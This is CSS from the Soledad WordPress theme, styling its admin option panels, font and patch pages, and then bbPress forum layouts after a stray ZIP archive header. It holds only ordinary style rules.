	src: url("../fonts/raty.eot");
	src: url("../fonts/raty.eot?#iefix") format("embedded-opentype");
	src: url("../fonts/raty.svg#raty") format("svg");
	src: url("../fonts/raty.ttf") format("truetype");
	src: url("../fonts/raty.woff") format("woff");
}

.cancel-on-png,
.cancel-off-png,
.star-on-png,
.star-off-png,
.star-half-png {
	-moz-osx-font-smoothing: grayscale;
	-webkit-font-smoothing: antialiased;
	font-family: "raty";
	font-style: normal;
	font-variant: normal;
	font-weight: normal;
	line-height: 1;
	speak: none;
	text-transform: none;
}

.cancel-on-png:before {
	content: "\e600";
}

.cancel-off-png:before {
	content: "\e601";
}

.star-on-png:before {
	content: "\f005";
}

.star-off-png:before {
	content: "\f006";
}

.star-half-png:before {
	content: "\f123";
}
#section_id_wpse_82317 label {
	width: 15%;
}
#section_id_wpse_82317 fieldset {
	margin-top: 15px;
}
.meta-box-sortables input#pccm_rating_title {
	width: 85%;
}
.penci-soledad-social-order ul {
	display: flex;
	flex-direction: row;
	flex-wrap: wrap;
	margin-left: -5px;
	margin-right: -5px;
}
.penci-soledad-social-order ul li {
	flex: 0 170px;
	margin: 5px;
}
.penci-soledad-social-order ul li.no-data {
	opacity: 0.5;
}
.penci-soledad-social-order ul li span {
	display: block;
	padding: 10px 20px;
	border-radius: 5px;
	border: 1px solid #ddd;
	background: #fff;
	font-weight: bold;
}
.penci-soledad-social-order ul li span:hover {
	cursor: move;
}
.penci-soledad-social-order ul li.sortable-chosen span {
	background: var(--fbc-blue-60);
	color: #fff;
}

.penci_soledad_social_order_update {
	margin: 30px 0 0;
	display: none;
}

.penci_soledad_social_order_update span {
	padding: 10px 15px;
	background: green;
	color: #fff;
	border-radius: 2px;
}

#adminmenu .wp-not-current-submenu .wp-submenu {
	min-width: 180px;
}

.csf-field.csf-field-content {
	border: 0;
	background: #000;
	color: #fff;
	margin: 0 30px;
	padding: 10px 20px;
	border-radius: 5px;
}

.csf-field.csf-field-content h4 {
	color: #fff;
}

.csf-field.csf-field-content + .csf-field {
	border-top: 0;
}

.csf-field.csf-section-description {
	background: #fffae6;
	font-size: 12px;
	color: #000;
	padding: 10px 20px;
	margin: 15px 0;
	font-weight: bold;
}

.csf-field.csf-field-subheading {
	display: none;
}

.csf-field.csf-field-heading {
	padding: 15px 30px;
}

.csf-field.csf-field-heading .csf-title h4 {
	font-size: 16px;
}

.csf-field.csf-field-heading .csf-fieldset,
.csf-field.csf-field-heading .csf-title,
.csf-field.csf-field-heading .csf-desc-text {
	width: 100%;
}

.csf-field.csf-field-heading .csf-desc-text {
	font-size: 12px;
	text-align: left;
}

.csf-field.csf-field-heading {
	position: relative;
	background-color: #fff;
}

.csf-heading-expand {
	position: absolute;
	top: 0;
	bottom: 0;
	right: 30px;
	display: flex;
	align-items: center;
}
.csf-wrapper .csf-content,
.csf-sections {
	background: #f5f5f5;
}
.csf-sections .csf-section {
	margin: 30px;
}

.csf-field {
	background: #fff;
}

.csf-field + .csf-field.csf-field-heading {
	margin-top: 30px;
}

.csf-heading-expand-btn {
	font-size: 0;
	line-height: 0;
	display: inline-block;
	color: #000;
}
.csf-heading-expand-btn:focus {
	outline: 0;
	border: 0;
	box-shadow: none;
}
.csf-heading-expand-btn:before {
	font-family: "dashicons";
	content: "\f347";
	font-size: 18px;
	line-height: 18px;
}
.csf-field.collapsed .csf-heading-expand-btn:before {
	content: "\f345";
}

.csf-field.csf-field-heading {
	cursor: pointer;
}

.csf-options {
	max-width: 1135px;
}

body .csf-theme-light .csf-nav-background {
	background-color: rgba(0, 0, 0, 0.25);
}
body .csf-theme-light .csf-nav ul li a {
	background: transparent;
	color: #fff;
	font-weight: bold;
	text-transform: uppercase;
	letter-spacing: -0.05em;
}

body .csf-theme-light .csf-nav-normal > ul li a {
	border-bottom: 1px solid rgba(255, 255, 255, 0.1);
}
body .csf-theme-light .csf-nav ul ul li a {
	background: transparent;
}
body .csf-theme-light .csf-nav ul li a:hover {
	border-right-color: #f5f5f5;
}
body .csf-theme-light .csf-nav ul li .csf-active {
	background: #f5f5f5;
	color: #333;
	border-right-color: #f5f5f5;
}
body .csf-theme-light .csf-footer,
body .csf-theme-light .csf-header-inner {
	background: rgba(0, 0, 0, 0.25);
	border-color: rgba(255, 255, 255, 0.1);
}
body .csf-header-inner h1 {
	color: #fff;
}
body .csf-theme-light .csf-header-inner h1 small {
	display: block;
	color: #fff;
}
.csf-field.option-collapsed {
	display: none;
}
.csf-field.csf-field-import button {
	margin-top: 30px;
	background-color: var(--wp-admin-theme-color);
	color: #fff;
	border-color: var(--wp-admin-theme-color);
	text-transform: uppercase;
	font-weight: bold;
}
.csf-nav {
	margin-bottom: 1px;
}

.csf-footer {
	margin-top: -1px;
}

body.penci-soledad-admin-page #wpcontent {
	background-color: #3b7fa8 !important;
	background: url("../images/panel_bg.jpg");
	background-color: rgba(0, 0, 0, 0);
	background-position-x: 0%;
	background-position-y: 0%;
	background-repeat: repeat;
	background-repeat: no-repeat;
	background-position: left top;
	background-attachment: fixed;
}
body.penci-soledad-admin-page #wpbody-content > .notice {
	display: none !important;
}
.csf-header.csf-sticky-header.csf-sticky .csf-header-inner {
	background: #000836;
}
.penci-new-social-wrapper {
	max-width: 970px;
	margin-top: 60px;
	padding: 40px;
	background: #fff;
	border-radius: 5px;
	border: 1px solid #d0d0d0;
}
.penci-new-social-wrapper .penci-form-field input {
	display: block;
	width: 100%;
}
.penci-new-social-wrapper .penci-form-field label {
	display: block;
}
.penci-new-social-wrapper img,
.penci-new-social-wrapper .penci-placeholder-img {
	width: 30px;
	height: auto;
}
.csf-header-left {
	padding-left: 65px;
	background: url(../images/penci-logo-themeforest.png) center left no-repeat;
	background-size: 50px auto;
}
body .csf-header-inner h1 span {
	padding-top: 8px;
	display: block;
}
body.soledad_page_penci_social_order
	.media-modal-content
	.attachment-info:before {
	display: none !important;
}
.csf-wrapper {
	overflow: hidden;
}
.penci-form-field {
	position: relative;
}
.penci-form-field .wp-picker-holder {
	position: absolute;
	top: 100%;
	left: auto;
	right: auto;
	z-index: 999;
}
.penci-form-field .wp-picker-input-wrap label,
.penci-form-field .wp-picker-input-wrap .wp-picker-clear {
	display: inline-block;
}
.penci-form-field .wp-picker-input-wrap {
	min-width: 175px;
}
.penci-form-field .wp-picker-input-wrap .wp-picker-clear {
	max-width: 50px;
}
.social-colors-init {
	display: inline-block;
	width: 28px;
	height: 28px;
	border-radius: 50%;
	margin-left: auto;
	margin-right: auto;
}
.curtime #pcmdate-timestamp:before {
	font: 400 20px/1 dashicons;
	display: inline-block;
	margin-left: -1px;
	padding-right: 3px;
	vertical-align: top;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	content: "";
	position: relative;
	top: -1px;
	color: #82878c;
}
body:not(.admin-color-fresh) .curtime #pcmdate-timestamp:before {
	color: currentColor !important;
}
#timestampmodifieddiv p {
	margin: 8px 0px 6px;
}
#timestampmodifieddiv input {
	text-align: center;
}
#hhm,
#jjm,
#mnm {
	width: 2em;
}
#aam {
	width: 3.4em;
}
#aam,
#hhm,
#jjm,
#mnm {
	padding: 6px 1px;
	font-size: 12px;
	line-height: 1.16666666;
}
@media screen and (max-width: 782px) {
	.timestamp-wrap select#mmm {
		display: block;
		width: 100%;
		margin-bottom: 10px;
	}
	.timestamp-wrap #aam,
	.timestamp-wrap #hhm,
	.timestamp-wrap #jjm,
	.timestamp-wrap #mnm {
		padding: 12px 3px;
		font-size: 14px;
		margin-bottom: 5px;
		width: auto;
		text-align: center;
	}
}
.tm-jjm,
.tm-aam,
.tm-hhm,
.tm-mnm {
	font-size: 14px !important;
	line-height: 1.16666666 !important;
	vertical-align: middle;
	text-align: center;
	padding: 6px 4px !important;
}
#timestampmodifieddiv select {
	vertical-align: top;
	font-size: 12px;
	line-height: 2.4;
}
#aam,
#hhm,
#jjm,
#mnm {
	padding: 6px 1px;
	font-size: 12px;
	line-height: 1.16666666;
}
.be-jjm,
.jjm-edit {
	margin-right: -2px;
}
.be-hhm,
.hhm-edit {
	margin-right: -3px;
}
.be-mnm,
.mnm-edit {
	margin-left: -2px;
}
@media screen and (max-width: 782px) {
	.be-mnm,
	.mnm-edit {
		margin-left: -3px;
	}
}
.tsw-be {
	margin-top: 8px;
}
.be-mmm {
	min-height: 22px !important;
}
.penci-cat-option-forms {
	padding: 30px;
	background: #fff;
	border: 1px solid #c3c4c7;
	box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
}
.penci-cat-option-forms-ul {
	margin-top: 30px;
}
.penci-cat-option-forms-ul ul {
	display: flex;
	flex-wrap: wrap;
	flex-direction: row;
	margin: 0 0 -7px;
}
.penci-cat-option-forms-ul ul li:not(:last-child) {
	margin-right: -1px;
}
.penci-cat-option-forms-ul ul li a {
	padding: 0 20px;
	display: block;
	background: #fff;
	border: 1px solid #c3c4c7;
	box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
	font-size: 13px;
	font-weight: bold;
	text-transform: uppercase;
	line-height: 40px;
	color: #666;
}
.penci-cat-option-forms-ul ul li a.active {
	color: var(--wp-admin-theme-color);
}
.penci-cat-option-forms .form-field {
	display: none;
}
.penci-cat-option-forms .form-field[data-panel="general"] {
	display: block;
}
.pccustom-sidebar form {
	max-width: 870px;
	display: flex;
	flex-wrap: wrap;
	flex-direction: row;
	justify-content: space-between;
	background-color: #fff;
	border: 1px solid #c3c4c7;
}
.pccustom-sidebar .pccustom-sidebar-form,
.pccustom-sidebar .pccustom-sidebar-created {
	width: calc(39% - 60px);
	padding: 30px;
}
.pccustom-sidebar .pccustom-sidebar-created {
	width: calc(60% - 60px);
}
.pccustom-sidebar .pccustom-sidebar-form {
	border-right: 1px solid #c3c4c7;
}
.pccustom-sidebar .pccustom-sidebar-form {
	display: flex;
	flex-wrap: wrap;
	flex-direction: column;
	row-gap: 15px;
}
.pccustom-sidebar .pccustom-sidebar-form input {
	width: 100%;
	line-height: 40px;
}
.pccustom-sidebar .pccustom-sidebar-form label span {
	display: block;
	margin-bottom: 5px;
	font-weight: bold;
}
.pccustom-sidebar .pccustom-sidebar-form .penci-add-sidebar {
	line-height: 40px;
}
.pccustom-sidebar .spinner {
	display: none;
}
.rwmb-device-switcher {
	margin-top: 20px;
}
.rwmb-device-switcher span {
	display: inline-flex;
	justify-content: center;
	align-items: center;
	width: 35px;
	height: 35px;
	background: #000;
	color: #fff;
	border-radius: 50%;
	cursor: pointer;
}
.rwmb-device-switcher span.active {
	background: var(--wp-admin-theme-color);
}
.rwmb-device-switcher span + span {
	margin-left: 10px;
}
.rwmb-has-mobile-field .rwmb-mobile-field,
.rwmb-has-mobile-field.mobile-active .rwmb-desktop-field {
	display: none;
}
.rwmb-has-mobile-field.mobile-active .rwmb-mobile-field {
	display: block;
}
#soledad-font-metabox {
	background-color: transparent;
	border: none;
}
#soledad-font-metabox .postbox-header {
	display: none !important;
}
#soledad-font-metabox .title {
	align-items: center;
	display: flex;
	font-size: 16px;
	font-weight: 700;
	margin: 15px 0;
	padding: 0;
}
#soledad-font-metabox .title a {
	display: inline-block;
	margin: 0 5px;
	opacity: 0.5;
	text-decoration: none;
}
#soledad-font-metabox .title a:hover {
	opacity: 1;
}
#soledad-font-metabox .inside {
	margin: 0;
	padding: 0;
}
#soledad-font-metabox .soledad-font-variant {
	background-color: #fff;
	border: 1px solid #ccd0d4;
	margin-top: 15px;
}
#soledad-font-metabox .soledad-font-variant .hide {
	display: none !important;
}
#soledad-font-metabox .soledad-font-variant label {
	display: inline-block;
}
#soledad-font-metabox .soledad-font-variant .font-header {
	align-items: stretch;
	display: flex;
}
#soledad-font-metabox .soledad-font-variant .font-header > * {
	align-items: center;
	display: flex;
	padding: 12px;
}
#soledad-font-metabox
	.soledad-font-variant
	.font-header
	.soledad-font-style-wrapper {
	border-left: 1px dashed #ddd;
	border-right: 1px dashed #ddd;
}
#soledad-font-metabox
	.soledad-font-variant
	.font-header
	.soledad-font-preview
	.pangram {
	font-size: 20px;
}
#soledad-font-metabox .soledad-font-variant .font-header .actions {
	margin-left: auto;
}
#soledad-font-metabox .soledad-font-variant .font-header .actions button {
	box-shadow: none;
	margin-left: 5px;
	outline: none;
}
#soledad-font-metabox
	.soledad-font-variant
	.font-header
	.actions
	button.delete:hover {
	background-color: var(--wp-admin-theme-color);
	border-color: inherit;
	color: #fff;
}
#soledad-font-metabox .soledad-font-variant .font-faces {
	border-top: 1px solid #ddd;
	margin: 0;
}
#soledad-font-metabox .soledad-font-variant .font-faces li {
	align-items: center;
	display: flex;
	margin: 12px;
}
#soledad-font-metabox .soledad-font-variant .font-faces label {
	cursor: inherit;
	line-height: 1;
	min-width: 86px;
}
#soledad-font-metabox .soledad-font-variant .font-faces input {
	flex: 1;
	margin: 0 10px 0 5px;
}
#soledad-font-metabox .soledad-font-variant .font-faces input[name="font_id"] {
	display: none !important;
}
#soledad-font-metabox .soledad-font-variant .font-faces button {
	min-width: 110px;
}
#soledad-custom-fonts-add-font-variant {
	bottom: -40px;
	position: absolute;
}
.rpcpf-repeater-item {
	display: flex;
	gap: 10px;
	flex-wrap: wrap;
	order: 1;
	border: 1px solid #888;
	background: #f1f1f1;
	padding: 6px;
	border-radius: 6px;
}
.rpcpf-repeater-item:hover {
	background: #eee;
}
.rpcpf-repeater-item .rpcpf-repeater-input {
	width: 100%;
}
.rpcpf-repeater-item .rpcpf-repeater-input label {
	text-transform: uppercase;
	font-size: 10px;
	font-weight: bold;
	margin: 0 0 5px;
	display: block;
}
.rpcpf-repeater-item .rpcpf-hw {
	width: calc(50% - 5px);
}
.pcpf-repeater-group {
	display: flex;
	flex-wrap: wrap;
	gap: 10px;
}
.pcpf-repeater-group button {
	order: 3;
}
.pcpf-repeater .remove-item {
	cursor: pointer;
	color: red;
	font-size: 10px;
	text-transform: uppercase;
}
.pcpf-repeater {
	margin-bottom: 20px;
}
.notice.pc-promo-notice {
	border: none;
	text-align: center;
	position: relative;
	padding: 8px;
	background: #fff;
}
.notice.pc-promo-notice img {
	padding: 0;
	height: auto;
	min-width: 1200px;
	vertical-align: top;
}
.pc-promo-notice-dismiss {
	text-decoration: none;
	position: absolute;
	opacity: 1;
	background: #000;
	color: #fff;
	font-size: 20px;
	top: 0;
	right: 0;
	width: 20px;
	line-height: 18px;
	height: 20px;
	display: inline-block;
	text-align: center;
}
.penci-box-content.no-patches {
	background-color: #d9edf7;
}
.penci-empty-patches {
	max-width: 470px;
	margin-left: auto;
	margin-right: auto;
	text-align: center;
	color: #31708f;
	padding: 30px;
}
.penci-empty-patches .pencti-notice-icon svg {
	max-width: 60px;
	height: auto;
	display: inline-block;
	fill: #31708f;
}
.penci-empty-patches p {
	font-size: 18px;
	margin: 15px 0 0;
}
.penci-check-patch {
	margin: 30px 0 0;
}
.penci-check-patch a {
	display: inline-block;
	padding: 8px 15px;
	background: #131313;
	color: #fff;
	font-weight: bold;
}
.penci-box {
	box-sizing: border-box;
	max-width: 1170px;
	background: #fff;
	box-shadow: 2px 2px 2px rgba(94, 92, 92, 0.14);
	margin-top: 30px;
}
.penci-box-footer h3 {
	display: inline-block;
	margin-block: 5px;
	vertical-align: middle;
	font-size: 24px;
	line-height: 1;
	line-height: var(--xts-input-height);
	margin-inline-end: 20px;
}
.soledad_page_penci_patcher .penci-box-footer {
	justify-content: space-between;
	display: flex;
	padding: 0 30px 15px;
	border-bottom: 1px solid #d5d5d5;
	flex-direction: row;
	column-gap: 30px;
}
.penci-box-helper {
	font-size: 13px;
	letter-spacing: -0.025em;
	opacity: 0.7;
}
.soledad_page_penci_patcher .penci-box-footer p {
	margin: 0;
}
.soledad_page_penci_patcher .penci-patches-notice .penci-error,
.soledad_page_penci_patcher .penci-patches-notice .penci-success {
	padding: 10px 15px;
	background: #b9f5ff;
	color: #00243e;
	font-weight: bold;
}
.soledad_page_penci_patcher .penci-patches-notice .penci-error {
	background: #ca0000;
	color: #fff;
}
.soledad_page_penci_patcher .penci-patch-item {
	min-width: 700px;
}
.soledad_page_penci_patcher .penci-patch-item > div {
	width: 100%;
}
.soledad_page_penci_patcher .penci-patch-item > div:not(:last-child) {
	margin-inline-end: 15px;
}
.soledad_page_penci_patcher .penci-applied [class*="penci-patch-apply"] {
	display: none;
}
.soledad_page_penci_patcher .penci-applied .penci-patch-label-applied {
	display: inline-flex;
}
.soledad_page_penci_patcher .penci-patch-label-applied {
	display: none;
	align-items: center;
	min-height: 35px;
	vertical-align: middle;
	text-transform: uppercase;
	font-weight: 600;
	font-size: 12px;
}
.soledad_page_penci_patcher .penci-patch-label-applied:before {
	color: #333;
	font-size: 14px;
	margin-inline-end: 4px;
}
.soledad_page_penci_patcher .penci-patch-date {
	max-width: 160px;
}
.soledad_page_penci_patcher .penci-table-row .penci-patch-date:before {
	content: "\f469";
	font-weight: 400;
	font-family: "Dashicons";
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	vertical-align: middle;
}
.soledad_page_penci_patcher .penci-patch-id {
	max-width: 90px;
}
.soledad_page_penci_patcher .penci-patch-button-wrapper {
	max-width: 135px;
	text-align: end;
}
.soledad_page_penci_patcher .penci-box-content {
	padding: 30px;
	position: relative;
}
.soledad_page_penci_patcher [class*="penci-table-row"] {
	display: flex;
	align-items: center;
	padding: 10px 15px;
	min-width: 500px;
}
.soledad_page_penci_patcher
	.penci-table.penci-even
	[class*="penci-table-row"]:nth-child(2n) {
	background-color: #f7f7f7;
}
.soledad_page_penci_patcher .penci-patch-item {
	min-width: 700px;
}
.soledad_page_penci_patcher .penci-table-row-heading,
.soledad_page_penci_patcher .penci-table-row > div:first-child {
	color: #000;
	font-weight: 700;
	text-transform: uppercase;
	letter-spacing: -0.025em;
	font-size: 14px;
}
.soledad_page_penci_patcher .penci-btn {
	display: inline-flex;
	align-items: center;
	justify-content: center;
	padding: 0 15px;
	height: 35px;
	outline: none !important;
	border: none;
	box-shadow: none;
	vertical-align: middle;
	text-decoration: none;
	white-space: nowrap;
	font-weight: 600;
	font-size: 12px;
	line-height: 1;
	transition: 0.2s all ease-in-out !important;
	transform: none;
	background-color: #000;
	color: #fff;
}
.soledad_page_penci_patcher .penci-btn:hover {
	background-color: #1b0000;
}
.penci-patch-id span {
	display: inline-block;
	padding: 2px 5px;
	background: #b80101;
	color: #fff;
}
.penci-applied .penci-patch-id span {
	background: #005ec1;
}
.penci-box-content.xts-loading:before,
.penci-box-content.xts-loading:after {
	visibility: visible;
	opacity: 1;
	transition: 0.4s all ease;
}
.penci-box-content::before {
	content: "";
	inset: 0;
	background-color: rgba(255, 255, 255, 0.8);
}
.penci-box-content:before,
.penci-box-content::after {
	position: absolute;
	z-index: 999999;
	visibility: hidden;
	opacity: 0;
	cursor: wait;
}
.penci-box-content::after {
	top: calc(50% - 18px);
	right: calc(50% - 18px);
	content: "";
	display: inline-block;
	width: 36px;
	height: 36px;
	border: 1px solid rgba(255, 255, 255, 0.15);
	border-left-color: rgba(255, 255, 255, 0.15);
	border-left-color: #000;
	border-radius: 50%;
	vertical-align: middle;
}
.penci-box-content.penci-loading:before,
.penci-box-content.penci-loading:after {
	visibility: visible;
	opacity: 1;
	transition: 0.4s all ease;
}
.penci-box-content.penci-loading::after {
	animation: penci_load_rotate 450ms infinite linear;
}
.soledad_page_penci_patcher .penci-box-footer .penci-patch-button-wrapper {
	min-width: 170px;
}
@keyframes penci_load_rotate {
	to {
		-webkit-transform: rotate(360deg);
		transform: rotate(360deg);
	}
}
.pc-meta-repeater-item-content {
	display: flex;
	flex-wrap: wrap;
	flex-direction: row;
	gap: 15px;
	margin-bottom: 20px;
	padding: 10px 20px 20px;
	background: #f1f1f1;
	border-radius: 5px;
}
.pcmt-control-wrapper .pcmt-control .pc-meta-repeater-item-content input {
	min-width: unset;
	width: 100%;
}
.pc-meta-repeater-item-content .pc-meta-repeater-input {
	flex: 1 1 auto;
}
.pc-meta-repeater-item-content .pc-meta-repeater-input label {
	display: block;
	margin: 0 0 5px;
	font-size: 12px;
	text-transform: uppercase;
	font-weight: bold;
}
.pc-meta-repeater-item-content .pc-meta-repeater-item-remove {
	align-self: center;
	color: rgb(160, 0, 0);
	margin: 20px 0 0;
}PK     N\y&  &    css/buddypress-bbpress.cssnu [        .forum-archive .penci-content-post {
    padding: 20px;
    background: #ffffff;
}
.forum-archive .penci-entry-title {
    font-size: 30px;
    line-height: 1.2;
    color: #111111;
    margin-top: 9px;
    margin-bottom: 6px;
}
.forum-archive .penci-entry-title.penci-title-center {
    text-align: center;
}
.forum-archive .penci-entry-title.penci-title-right {
    text-align: right;
}
#sidebar .bbp-login-form label {
    width: 120px;
}
#bbpress-forums {
    font-size: 15px;
}
#bbpress-forums ul.bbp-forums {
    border: none;
}
#bbpress-forums ul.bbp-forums .forum-titles li:before {
    display: none;
}
#bbpress-forums ul.bbp-lead-topic,
#bbpress-forums ul.bbp-topics,
#bbpress-forums ul.bbp-forums,
#bbpress-forums ul.bbp-replies,
#bbpress-forums ul.bbp-search-results {
    border: none;
}
#bbpress-forums li.bbp-header,
#bbpress-forums li.bbp-footer,
#bbpress-forums li ul.forum {
    background: none;
}
#bbpress-forums li.bbp-header {
    background: none #313131;
    color: #fff;
    border-top: 0;
    padding: 7px 15px;
}
#bbpress-forums li.bbp-header ul.forum-titles li,
#bbpress-forums li.bbp-header .bbp-reply-author,
#bbpress-forums li.bbp-header .bbp-reply-content {
    font-size: 14px;
}
#bbpress-forums li.bbp-body {
    margin-top: 20px;
}
#bbpress-forums li.bbp-body div.odd,
#bbpress-forums li.bbp-body ul.odd {
    background: none;
}
#bbpress-forums li.bbp-body ul.forum,
#bbpress-forums li.bbp-body ul.topic {
    border-top-color: #ECECEC;
    padding: 20px 0 27px;
    background: transparent;
}
#bbpress-forums li.bbp-body ul.forum li.bbp-forum-info a,
#bbpress-forums li.bbp-body ul.topic li.bbp-topic-title a {
    font-size: 14px;
    color: #111111;
}
#bbpress-forums li.bbp-body ul.forum li.bbp-forum-info a.bbp-forum-title,
#bbpress-forums li.bbp-body ul.topic li.bbp-topic-title a.bbp-forum-title {
    font-size: 16px;
    font-weight: 700;
}
#bbpress-forums li.bbp-body ul.forum li.bbp-forum-info a:hover,
#bbpress-forums li.bbp-body ul.topic li.bbp-topic-title a:hover {
    text-decoration: none;
    color: var(--pcaccent-cl);
}
#bbpress-forums li.bbp-body .bbp-forums-list li {
    color: #fff;
    display: block;
}
#bbpress-forums li.bbp-body ul.forum li.bbp-forum-info .bbp-forum-content,
#bbpress-forums li.bbp-body ul.topic p.bbp-topic-meta {
    font-style: italic;
    color: #c3c3c3;
    line-height: 1.6;
    font-size: 12px;
}
#bbpress-forums li.bbp-body ul.forum li.bbp-forum-info .bbp-forum-content a,
#bbpress-forums li.bbp-body ul.topic p.bbp-topic-meta a {
    font-size: 12px;
    font-weight: 400;
    color: var(--pcaccent-cl);
}
#bbpress-forums li.bbp-body ul.forum li.bbp-forum-topic-count,
#bbpress-forums li.bbp-body ul.forum li.bbp-forum-reply-count,
#bbpress-forums li.bbp-body ul.forum li.bbp-forum-freshness,
#bbpress-forums li.bbp-body ul.forum li.bbp-forum-freshness a,
#bbpress-forums li.bbp-body ul.topic li.bbp-forum-topic-count,
#bbpress-forums li.bbp-body ul.topic li.bbp-topic-voice-count,
#bbpress-forums li.bbp-body ul.topic li.bbp-forum-reply-count,
#bbpress-forums li.bbp-body ul.topic li.bbp-topic-freshness > a,
#bbpress-forums li.bbp-body ul.topic li.bbp-topic-freshness,
#bbpress-forums li.bbp-body ul.topic li.bbp-topic-reply-count {
    font-size: 12px;
    color: #111111;
}
#bbpress-forums li.bbp-body ul.forum li.bbp-forum-freshness p.bbp-topic-meta,
#bbpress-forums li.bbp-body ul.topic li.bbp-topic-freshness p.bbp-topic-meta {
    margin: -6px 0;
}
#bbpress-forums li.bbp-body ul.forum li.bbp-forum-freshness p.bbp-topic-meta a,
#bbpress-forums li.bbp-body ul.topic li.bbp-topic-freshness p.bbp-topic-meta a {
    font-weight: 500;
    font-size: 12px;
}
#bbpress-forums li.bbp-body ul.forum li.bbp-forum-freshness p.bbp-topic-meta a:hover,
#bbpress-forums li.bbp-body ul.topic li.bbp-topic-freshness p.bbp-topic-meta a:hover {
    text-decoration: none;
}
#bbpress-forums li.bbp-footer {
    border-top-color: #ECECEC;
}
#bbpress-forums li:before {
    display: none;
}
#bbpress-forums li.bbp-forum-info,
#bbpress-forums li.bbp-topic-title {
    width: 45%;
}
#bbpress-forums li.bbp-forum-topic-count,
#bbpress-forums li.bbp-topic-voice-count,
#bbpress-forums li.bbp-forum-reply-count,
#bbpress-forums li.bbp-topic-reply-count {
    width: 15%;
}
#bbpress-forums li.bbp-forum-freshness,
#bbpress-forums li.bbp-topic-freshness {
    float: right;
    text-align: right;
}
#bbpress-forums .forum-titles li.bbp-forum-freshness,
#bbpress-forums .forum-titles li.bbp-topic-freshness {
    padding-right: 0;
}
#bbpress-forums div.bbp-search-form {
    position: relative;
    float: none;
    width: 100%;
    padding-bottom: 21px;
}
#bbpress-forums #bbp-search-form #bbp_search {
    font-size: 13px;
    font-weight: normal;
    width: 95%;
    height: 40px;
    padding: 10px 43px 10px 15px;
    color: #313131;
    border: 1px solid var(--pcborder-cl);
    background: transparent;
    -webkit-appearance: textfield;
}
#buddypress #pass-strength-result {
    color: #000;
}
#bbpress-forums #bbp-search-form .button {
    font-family: var(--pchead-font);
    font-size: 13px;
    font-weight: bold;
    line-height: 40px;
    position: absolute;
    top: 0;
    right: 0;
    display: block;
    height: 40px;
    margin: 0;
    padding: 0 20px;
    cursor: pointer;
    -moz-transition: all 0.3s;
    -webkit-transition: all 0.3s;
    transition: all 0.3s;
    text-transform: uppercase;
    color: #fff;
    border: none;
    background: var(--pcaccent-cl);
}
#bbpress-forums #bbp-search-form .button:hover {
    color: #fff;
    background: var(--pcaccent-cl);
}
#bbpress-forums div.even, #bbpress-forums ul.even {
    background: transparent;
}
#bbpress-forums .bbp-breadcrumb p {
    font-size: 12px;
    line-height: 1.4;
    color: #888888;
    margin-bottom: 0;
    margin-top: 0;
    margin-left: 2px;
}
#bbpress-forums .bbp-breadcrumb a,
#bbpress-forums .bbp-breadcrumb .bbp-breadcrumb-current {
    font-size: 12px;
    color: #888888;
}
#bbpress-forums .bbp-breadcrumb a:hover {
    text-decoration: none;
    color: var(--pcaccent-cl);
}
#bbpress-forums .bbp-breadcrumb .bbp-breadcrumb-sep {
    font-size: 12px;
    margin: 0 5px 0 5px;
}
#bbpress-forums .subscription-toggle {
    display: none;
}
#bbpress-forums div.bbp-template-notice.info {
    border: 1px solid #ECECEC;
    background-color: transparent;
    border-radius: 0;
    padding-top: 2px;
}
#bbpress-forums div.bbp-template-notice.info img {
    width: 20px !important;
    display: inline;
    vertical-align: middle;
    margin-bottom: 0 !important;
    margin-left: 5px;
    margin-right: 5px;
}
#bbpress-forums .bbp-pagination-count {
    margin-top: 2px;
    color: #111111;
    font-weight: normal;
    font-size: 13px;
}
#bbpress-forums .bbp-topic-started-by,
#bbpress-forums .bbp-topic-started-in {
    color: #c3c3c3;
    font-size: 12px;
}
#bbpress-forums .bbp-topic-started-by a,
#bbpress-forums .bbp-topic-started-in a {
    font-size: 12px;
}
#bbpress-forums .bbp-topic-started-by img,
#bbpress-forums .bbp-topic-started-in img {
    position: absolute;
    top: 2px;
    left: 0;
    margin: 0;
}
#bbpress-forums p.bbp-topic-meta span {
    white-space: initial;
}
#bbpress-forums li.bbp-topic-title .bbp-topic-permalink,
#bbpress-forums li.bbp-topic-title .bbp-topic-meta {
    padding-left: 50px;
}
#bbpress-forums div.bbp-topic-tags {
    float: left;
}
#bbpress-forums .bbp-topic-freshness-author {
    margin-top: 8px;
    display: inline-block;
}
#bbpress-forums .bbp-forum-freshness a,
#bbpress-forums .bbp-topic-freshness a {
    color: #111111;
    font-size: 12px;
    font-weight: 600;
}
#bbpress-forums .bbp-forum-freshness a:hover,
#bbpress-forums .bbp-topic-freshness a:hover {
    color: var(--pcaccent-cl);
}
#bbpress-forums .bbp-body .bbp-forum-freshness img,
#bbpress-forums .bbp-body .bbp-topic-freshness img {
    position: absolute;
    right: 0;
    top: 3px;
    margin: 0;
}
#bbpress-forums li.bbp-forum-topic-count,
#bbpress-forums li.bbp-forum-reply-count,
#bbpress-forums li.bbp-topic-voice-count,
#bbpress-forums li.bbp-topic-reply-count {
    width: 9%;
}
#bbpress-forums .bbp-forum-freshness,
#bbpress-forums .bbp-topic-freshness {
    width: 33%;
    padding-right: 50px;
    padding-left: 10px;
}
#bbpress-forums li.bbp-body .bbp-forum-freshness > a,
#bbpress-forums li.bbp-body .bbp-topic-freshness > a {
    font-size: 10px;
    color: #c3c3c3;
    font-weight: normal;
    line-height: 12px;
    display: inline-block;
}
#bbpress-forums .bbp-body .bbp-forum-freshness p,
#bbpress-forums .bbp-body .bbp-topic-freshness p {
    margin: 0;
    line-height: 17px;
}
#bbpress-forums p.bbp-topic-meta img.avatar,
#bbpress-forums ul.bbp-reply-revision-log img.avatar,
#bbpress-forums ul.bbp-topic-revision-log img.avatar,
#bbpress-forums div.bbp-template-notice img.avatar,
#bbpress-forums .widget_display_topics img.avatar,
#bbpress-forums .widget_display_replies img.avatar {
    border: none;
    width: 40px;
}
div.bbp-submit-wrapper {
    float: left;
}
#bbpress-forums fieldset.bbp-form {
    border: 0;
    padding: 0;
    margin-left: 0;
    margin-right: 0;
}
#bbpress-forums fieldset.bbp-form legend {
    font-size: 22px;
    padding: 0;
    margin-bottom: 20px;
    color: #111111;
}
.bbp-pagination-links a,
.bbp-pagination-links span.current {
    font-size: 14px;
    line-height: 28px;
    display: inline-block;
    min-width: 30px;
    height: 30px;
    padding: 0;
    text-align: center;
    text-decoration: none;
    color: #888;
    color: #313131;
